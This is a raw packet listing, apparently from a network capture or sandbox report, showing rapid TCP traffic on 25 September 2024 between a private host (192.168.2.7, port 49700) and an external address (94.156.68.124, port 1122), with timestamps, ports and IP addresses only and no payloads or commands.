Sep 25, 2024 01:11:13.268368959 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.268368959 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.268403053 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.268640995 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.268659115 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.268683910 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.297131062 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.297163010 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.297178030 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.297194958 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.297218084 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.297244072 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.297259092 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.297275066 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.297314882 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.297399998 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.297414064 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.297427893 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.297442913 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.297452927 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.297458887 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.297466040 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.297622919 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.297637939 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.297653913 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.297662973 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.297671080 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.297688007 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.297712088 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.297796965 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.299115896 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.299169064 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.299175978 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.299185038 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.299221992 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.299333096 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.299348116 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.299361944 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.299376965 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.299401999 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.299406052 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.299421072 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.299524069 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.299547911 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.299595118 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.299663067 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.299676895 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.299693108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.299700022 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.299864054 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.299909115 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.299923897 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.299938917 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.299954891 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.299966097 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.299969912 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.299985886 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.299994946 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.300002098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.300035000 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.300251961 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.300266027 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.300297976 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.300389051 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.300404072 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.300420046 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.300436020 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.300446033 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.300451994 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.300467968 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.300470114 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.300483942 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.300501108 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.300517082 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.300827026 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.300841093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.300854921 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.300868034 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.300884008 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.300892115 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.300899982 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.300915003 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.300919056 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.300930977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.300941944 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.300967932 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.306236982 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.306263924 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.306277990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.306359053 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.306397915 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.306415081 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.306428909 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.306442976 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.306443930 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.306478024 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.306586027 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.306627989 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.306675911 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.306690931 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.306706905 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.306723118 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.306737900 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.306761026 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.306927919 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.306946993 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.306958914 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.306969881 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.306981087 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.306993961 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.306999922 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.307024956 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.307049036 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.307193995 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.307207108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.307218075 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.307229042 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.307240009 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.307243109 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.307270050 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.307368040 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.307399035 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.307419062 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.307513952 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.307533026 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.307544947 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.307573080 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.307594061 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.307671070 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.307682991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.307694912 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.307725906 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.307831049 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.307842016 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.307852030 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.307863951 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.307876110 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.307899952 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.308060884 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.308072090 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.308083057 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.308093071 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.308103085 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.308109045 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.308140039 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.308676004 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.308698893 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.308712006 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.308743000 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.308785915 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.308798075 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.308828115 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.308876991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.308888912 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.308924913 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.308993101 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.309003115 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.309035063 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.354393005 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.354424953 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.354455948 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.354468107 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.354504108 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.354551077 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.354579926 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.354593992 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.354605913 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.354617119 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.354639053 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.354657888 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.354720116 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.354804993 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.354815960 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.354854107 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.354947090 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.354959011 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.354970932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.354983091 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.354990959 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.355012894 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.355174065 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.355186939 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.355199099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.355211973 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.355216026 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.355223894 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.355242014 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.355264902 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.355422020 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.355437040 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.355479956 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.383804083 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.383836031 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.383846045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.383887053 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.383919954 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.383932114 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.384004116 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.384016037 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.384016991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.384038925 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.384123087 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.384134054 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.384146929 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.384157896 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.384181023 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.384284019 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.384295940 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.384306908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.384330988 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.384403944 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.384416103 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.384428978 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.384438992 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.384464025 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.384517908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.385848045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.385891914 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.385900974 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.385904074 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.385936975 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.385982037 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.385992050 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.386023998 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.386059999 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.386073112 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.386110067 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.386164904 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.386173964 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.386229038 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.386239052 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.386250019 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.386312962 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.386394024 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.386462927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.386475086 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.386485100 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.386496067 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.386502028 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.386518002 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.386601925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.386640072 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.386699915 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.386722088 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.386733055 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.386744976 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.386755943 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.386755943 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.386768103 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.386782885 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.386797905 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.387094021 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.387104988 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.387115002 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.387125969 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.387135983 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.387141943 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.387170076 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.387301922 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.387315035 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.387326002 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.387340069 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.387339115 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.387363911 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.387537003 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.387547016 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.387557030 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.387567997 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.387578964 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.387578964 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.387589931 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.387599945 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.387610912 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.387622118 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.387635946 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.393095016 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.393146038 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.393156052 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.393163919 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.393213987 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.393275023 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.393287897 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.393299103 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.393310070 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.393315077 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.393343925 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.393524885 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.393539906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.393551111 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.393562078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.393582106 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.393614054 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.393779993 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.393790960 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.393798113 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.393809080 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.393821001 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.393827915 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.393851042 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.394045115 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.394056082 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.394062042 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.394073009 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.394083977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.394098997 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.394125938 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.394267082 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.394331932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.394342899 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.394356012 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.394366026 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.394367933 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.394403934 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.394714117 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.394741058 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.394757986 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.394762039 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.394774914 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.394798994 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.394867897 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.394881010 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.394891977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.394902945 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.394916058 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:13.394916058 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:13.394929886 CEST	1122	49700	94.156.68.124	192.168.2.7
